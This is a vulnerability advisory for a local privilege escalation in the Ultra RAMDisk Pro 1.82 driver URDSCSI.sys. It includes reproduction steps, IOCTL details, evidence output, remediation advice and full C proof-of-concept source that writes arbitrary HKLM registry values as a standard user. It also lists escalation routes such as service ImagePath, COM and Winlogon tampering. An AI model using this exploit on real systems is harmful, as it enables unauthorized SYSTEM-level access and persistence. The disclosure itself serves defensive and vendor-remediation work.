Ultra RAMDisk Pro 1.82 Kernel Driver URDSCSI.sys Local Privilege Escalation via Arbitrary Registry Value Write

Summary

Ultra RAMDisk Pro installs a WHQL-signed kernel driver, `URDSCSI.sys`, that exposes a user-reachable control device at `\\.\UltraRAMDiskIOCTL`. A standard local user can send IOCTL `0x222B30` with command `0x08` to make the driver call `RtlCreateRegistryKey` and `RtlWriteRegistryValue` on caller-selected registry paths and values.

The validation below used a benign test key under `HKLM\SOFTWARE\VendorRepro`. Direct registry writes by the standard user failed with `Access is denied`, but the same user wrote a unique marker value through the vendor driver. This proves a local registry DACL bypass from a standard Medium Integrity user.

An unprivileged user can exploit an arbitrary registry value write primitive to achieve local privilege escalation under certain circumstances, such as overwriting service `ImagePath` or `FailureCommand` entries to redirect SYSTEM-level execution, injecting malicious paths into COM server registrations, or modifying autorun and Winlogon keys to establish persistent privileged code execution.

Affected Product and Version

- Product: Ultra RAMDisk Pro 1.82 WHQL
- Installed application: `C:\Program Files (x86)\Ultra RAMDisk\UltraRAMDisk.exe`
- Installed application SHA-256: `EB95CD6305171CEA4CED603F3230BB857F5AAB6BD553D3EFCDFC77A748657339`

- Installed application version: `1.82`
- Driver: `C:\Windows\System32\drivers\URDSCSI.sys`
- Driver SHA-256: `C16DF6E011ACB960EF2342C509F861CAEB1940044257C2571CBF28FCC42231A9`
- Driver version: `1.82`
- Driver signature: Valid, `Microsoft Windows Hardware Compatibility Publisher`
- Supporting bus driver: `C:\Windows\System32\drivers\URDBus.sys`
- Supporting bus driver SHA-256: `F69263CE716416A8DB3DB50E4F5C5149EDD935008EA434BBAE3A74ED884670B0`

Download URL and SHA-256

- Download URL used: `https://blog.kakaocdn.net/dn/bPLCZJ/btsMWYgdSg1/H3d2IrXKdzv7lwmzxJwmuk/UltraRAMDisk-Pro-1.82-WHQL.exe?attach=1&knm=tfile.exe`
- File name: `UltraRAMDisk-Pro-1.82-WHQL.exe`
- Installer SHA-256: `CB438564A72B12D754F0D17B46E29899F6327B464D7024394EC877284DF995A2`
- Installer signature: Valid, `ieungSoft (Taekwon Kim)`

Vulnerability Type

Local privilege boundary bypass / arbitrary registry value creation and write from kernel context.

Impact

A standard local user can write caller-controlled values under machine-wide registry hives such as `HKLM`, bypassing normal registry ACLs. Depending on the target path and product configuration, this primitive may enable tampering with protected machine configuration or staging follow-on local privilege escalation. The proof below writes only to a controlled test key.

Test Environment

- OS: Windows 10 Pro, build `26200`, x64
- Attacker context: standard local user `win11\low`
- Integrity level: Medium
- Relevant group membership: `BUILTIN\Users`; no Administrators group membership
- Test object: `HKLM\SOFTWARE\VendorRepro\UltraRAMDiskProof`

Identity evidence:

```
User Name SID
========= ===========================================
```

```
win11\low S-1-5-21-2301410722-4114373468-508074991-1001

BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
```

Driver Load / Setup Steps

The product was installed using the vendor installer. The installer registered the WHQL driver package as `oem3.inf`:

```
Published Name:     oem3.inf
Original Name:      urddriver.inf
Provider Name:      ieungSoft
Class Name:         System
Driver Version:     12/25/2024 1.82.0.0
Signer Name:        Microsoft Windows Hardware Compatibility Publisher
```

The relevant services were running:

```
SERVICE_NAME: URDBus
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
        BINARY_PATH_NAME   : \SystemRoot\System32\drivers\URDBus.sys
        LOAD_ORDER_GROUP   : Extended Base
        DISPLAY_NAME       : Ultra RAMDisk Bus Enumerator

SERVICE_NAME: URDSCSI
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
        BINARY_PATH_NAME   : \SystemRoot\System32\drivers\URDSCSI.sys
        LOAD_ORDER_GROUP   : SCSI Miniport
        DISPLAY_NAME       : Ultra RAMDisk SCSI Controller
```

Reproduction Steps

1. Install Ultra RAMDisk Pro 1.82 WHQL.
2. Confirm `URDBus` and `URDSCSI` are running.
3. As Administrator, create a controlled test key:

```
reg add HKLM\SOFTWARE\VendorRepro\UltraRAMDiskProof /f
```

4. As a standard user, confirm the control device is reachable:

```
[IDENTITY] win11\low
OPEN OK  \\.\UltraRAMDiskIOCTL
```

5. As the same standard user, attempt a direct registry write:

```
reg add HKLM\SOFTWARE\VendorRepro\UltraRAMDiskProof /v DirectLowWrite /t REG_SZ /d
SHOULD_NOT_WRITE /f
```

6. As the same standard user, send the vendor-driver registry-write request:

```
ultraramdisk_urdscsi_registry_write_poc.exe --trigger --i-understand-registry-write --write-sz
\Registry\Machine\SOFTWARE\VendorRepro\UltraRAMDiskProof DriverWrittenMarker2 ULTRARAMDISK-
REG-MARKER-30b0f4a0-2272-4628-b16f-3c1eb32cee48
```

7. As Administrator, query the test key:

```
reg query HKLM\SOFTWARE\VendorRepro\UltraRAMDiskProof /v DriverWrittenMarker2
```

Baseline Evidence

The standard user could not directly write to the protected HKLM test key:

```
ERROR: Access is denied.
```

Exploit Evidence

The same standard user sent IOCTL `0x222B30`, command `0x08`, to `\\.\UltraRAMDiskIOCTL`:

```
Opened target only after gates. Sending 1174-byte command 0x00000008 to IOCTL 0x00222b30.
DeviceIoControl returned success, bytes=1174
```

The registry value was created under HKLM with the exact marker supplied by the standard user:

```
HKEY_LOCAL_MACHINE\SOFTWARE\VendorRepro\UltraRAMDiskProof
    DriverWrittenMarker2    REG_SZ    ULTRARAMDISK-REG-MARKER-30b0f4a0-2272-4628-b16f-3c1eb32cee48
```

Why This Proves the Vulnerability

The test user is a standard local user at Medium Integrity. Direct access to the protected HKLM key fails with `Access is denied`. The same user can open the vendor control device and submit a registry-write command. The driver then creates or writes the selected registry value from kernel context, bypassing the Windows registry ACL that blocked the direct write.

Static analysis of `URDSCSI.sys` matches the live behavior: IOCTL `0x222B30` dispatches command `0x08` to a handler that parses a caller-supplied native registry key path, value name, registry type, and value data, then calls `RtlCreateRegistryKey` and `RtlWriteRegistryValue` without an authorization check or path restriction.

Cleanup Steps

Remove the controlled test key:

```
reg delete HKLM\SOFTWARE\VendorRepro\UltraRAMDiskProof /f
```

No reboot or shutdown was performed during validation.

Suggested Remediation

- Restrict `\\.\UltraRAMDiskIOCTL` so unprivileged users cannot access private driver-control IOCTLs.
- Add explicit authorization checks before any registry-write operation.
- Restrict registry writes to vendor-owned configuration keys only, if this functionality is required.
- Avoid exposing general-purpose registry write primitives through `FILE_ANY_ACCESS` IOCTLs.

POC

The following minimal source builds the request used above. It is gated so no device is opened unless both `--trigger` and `--i-understand-registry-write` are supplied.

```
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <wchar.h>

#define IOCTL_ULTRARAMDISK_CONTROL 0x00222B30UL
#define URD_CMD_REG_WRITE 0x00000008UL
#define URD_REG_HEADER_SIZE 1052UL

static int checked_wcs_copy(wchar_t *dst, size_t dst_chars, const wchar_t *src) {
    size_t n = wcslen(src);
    if (n >= dst_chars) return 0;
    memcpy(dst, src, (n + 1) * sizeof(wchar_t));
    return 1;
}

static BYTE *build_request(const wchar_t *key, const wchar_t *value_name,
                           DWORD type, const void *data, DWORD data_len,
                           DWORD *out_len) {
    DWORD total = URD_REG_HEADER_SIZE + data_len;
    BYTE *buf = (BYTE *)calloc(1, total);
    if (!buf) return NULL;
    *(DWORD *)(buf + 0) = URD_CMD_REG_WRITE;
    if (!checked_wcs_copy((wchar_t *)(buf + 4), 260, key) ||
        !checked_wcs_copy((wchar_t *)(buf + 524), 260, value_name)) {
        free(buf);
        return NULL;
    }
    *(DWORD *)(buf + 1044) = type;
    *(DWORD *)(buf + 1048) = data_len;
    memcpy(buf + URD_REG_HEADER_SIZE, data, data_len);
```

```
    *out_len = total;
    return buf;
}

int wmain(int argc, wchar_t **argv) {
    int trigger = 0, acknowledged = 0, argi = 1;
    while (argi < argc) {
        if (wcscmp(argv[argi], L"--trigger") == 0) { trigger = 1; argi++; }
        else if (wcscmp(argv[argi], L"--i-understand-registry-write") == 0) { acknowledged =
1; argi++; }
        else break;
    }
    if (!trigger || !acknowledged || argi + 3 >= argc || wcscmp(argv[argi], L"--write-sz") !=
0) {
        fwprintf(stderr, L"usage: %ls --trigger --i-understand-registry-write --write-sz
<native-key> <value-name> <data>\n", argv[0]);
        return 1;
    }

    DWORD data_len = (DWORD)((wcslen(argv[argi + 3]) + 1) * sizeof(wchar_t));
    DWORD req_len = 0;
    BYTE *req = build_request(argv[argi + 1], argv[argi + 2], REG_SZ,
                              argv[argi + 3], data_len, &req_len);
    if (!req) return 1;

    HANDLE dev = CreateFileW(L"\\\\.\\UltraRAMDiskIOCTL",
                             GENERIC_READ | GENERIC_WRITE,
                             FILE_SHARE_READ | FILE_SHARE_WRITE,
                             NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (dev == INVALID_HANDLE_VALUE) {
        fwprintf(stderr, L"CreateFileW failed: %lu\n", GetLastError());
        free(req);
        return 1;
    }

    DWORD bytes = 0;
    BOOL ok = DeviceIoControl(dev, IOCTL_ULTRARAMDISK_CONTROL,
                              req, req_len, req, req_len, &bytes, NULL);
    if (!ok) fwprintf(stderr, L"DeviceIoControl failed: %lu\n", GetLastError());
    else wprintf(L"DeviceIoControl returned success, bytes=%lu\n", bytes);
```

```
    CloseHandle(dev);
    free(req);
    return ok ? 0 : 1;
}
```

Revision #1
Created 2026-05-25 17:43:58 UTC by winslow
Updated 2026-05-25 17:47:05 UTC by winslow